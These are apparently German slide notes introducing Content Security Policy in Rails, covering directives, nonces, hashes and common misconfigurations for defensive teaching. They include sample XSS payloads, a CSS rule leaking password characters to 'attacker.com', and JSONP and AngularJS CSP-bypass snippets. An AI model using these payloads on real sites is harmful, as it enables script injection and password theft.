CSP hat zum Ziel einen Browser-seitigen Mechanismus zu schaffen um einige Angriffe auf Webseiten zu verhindern, hauptsächlich XSS-Angriffe.
XSS = Cross Site Scripting. Passiert wenn ein User ungefiltertes HTML in die Webseite einfügen kann.
<div class="comment">
Danke für den interessanten Beitrag! <script>alert('you have been hacked')</script>
</div>
Rails löst das Problem weitgehend, aber
Warum nicht dem Browser verbieten gefährliche Dinge zu tun, z.B. Inline-Skripte auszuführen?
Server setzt einen HTTP-Header, der detailliert beschreibt, welche (potentiell gefährlichen Dinge) die Webseite tun darf.
Support: Alle modernen Browser, nicht IE.
Beispiel Header:
content-security-policy:
default-src 'self' https:;
font-src 'self' https: data:;
img-src 'self' https: data: http://www.gravatar.com;
object-src 'none';
script-src 'self' 'nonce-vX6tGWVUj9kl5hgbN2xh7g==';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
connect-src 'self' https: wss:;
(vermutlich keine besonders optimale Einstellung!)
Z.B bedeutet
img-src 'self' https: data: http://www.gravatar.com;
Bilder dürfen geladen werden von
Was passiert wenn die Seite eine Regel bricht?
Der Standard wächst ständig, aber die wichtigsten sind:
Quellen:
<audio>
, <video>
, etc.Andere:
Ist die wichtigste Direktive. Alles was hier erlaubt ist, kann via XSS abused werden.
Warum ist das relevant?
input[type="password"][value$="a"] {
background-image: url("http://attacker.com/passwords-ends-with/a");
}
Problem: Manche Javascript-Libraries (Editoren etc) verwenden Inline-Styles.
Auch wichtig. Wenn nicht eingeschränkt, können Leute Flash laden und wieder alles machen.
Leicht unterschiedlich pro Eintrag, aber z.B. für script-src:
http://*.example.com
https:
, blob:
, data:
eval
um beliebige Stinrgs zu JavaScript zu machenjavascript:...
-URLsEs ist möglich ein spezielles Skript zu erlauben (wenn man z.B. von einem CDN verlinken möchte).
Dazu kann man den SHA256 des Skripts berechnen und dann erlauben.
z.B. für https://code.jquery.com/jquery-3.5.1.slim.min.js:
script-src 'sha256-4+XzXVhsDmqanXGHaHvgh1gMQKX40OUvDEBTu8JcmNs='
Falls man doch ein Inline-Skript braucht (z.B. Analytics-Snippet o.ä.), kann man den nonce
-Mechanismus verwenden.
Dazu generiert der Server für jeden Request einen zufälligen Wert (eine "Nonce"), und schreibt ihn in Header und an das Skript-Tag:
script-src 'self' 'nonce-vX6tGWVUj9kl5hgbN2xh7g=='
<script nonce="vX6tGWVUj9kl5hgbN2xh7g==">
// this is allowed to run
</script>
Here are some useful examples, how to add inline styles and scripts with nonce to a HAML file:
%style{type: "text/css", nonce: content_security_policy_nonce}
:plain
body {
background-color: blue;
}
= javascript_tag nonce: true do
:plain
window.addEventListener('load', () => {
...
});
config/initializer/content_security_policy.rb
javascript_tag
Quiz: Wo ist das Problem?
Content-Security-Policy: script-src https://google.com 'unsafe-inline' 'self';
Content-Security-Policy: script-src 'self' https:;
Content-Security-Policy: script-src 'self' data:;
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/;
Content-Security-Policy: script-src 'self';
Wichtiges Paper 2016: CSP Is Dead, Long Live CSP! Show archive.org snapshot
Ergebnis: ~ 95% vorhandener CSP-Policies bieten keinen Schutz
Meist offensichtliche Fehlkonfiguration (Wildcards, unsichere Domains, object-src fehlt etc)
Bibliothek mit JSONP ist gewhitelistet:
<script src="https://whitelisted.com/path/jsonp?callback=alert(document.domain)//"> </script>
"JavaScript reflection gadget", Bibliothek erlaubt einen Weg DOM-Inhalte zu Code zu machen. Beispiel.
<script src="https://whitelisted.com/angular.js"></script>
<div ng-app>{{ 1000 - 1 }}</div>
User kann Javascript zur Domain hochladen.
Wichtig: User darf nie Dateien hochladen können, die mit Content-Type application/javascript
(oder aus anderen Gründen auch text/html
) ausgeliefert werden.
Vorschlag aus dem Paper ist, immer das hier zu nutzen:
script-src 'nonce-<random>'; default-src 'none'
Fragen?
Folien unter https://makandracards.com/makandra/482827-content-security-policy-eine-einfuehrung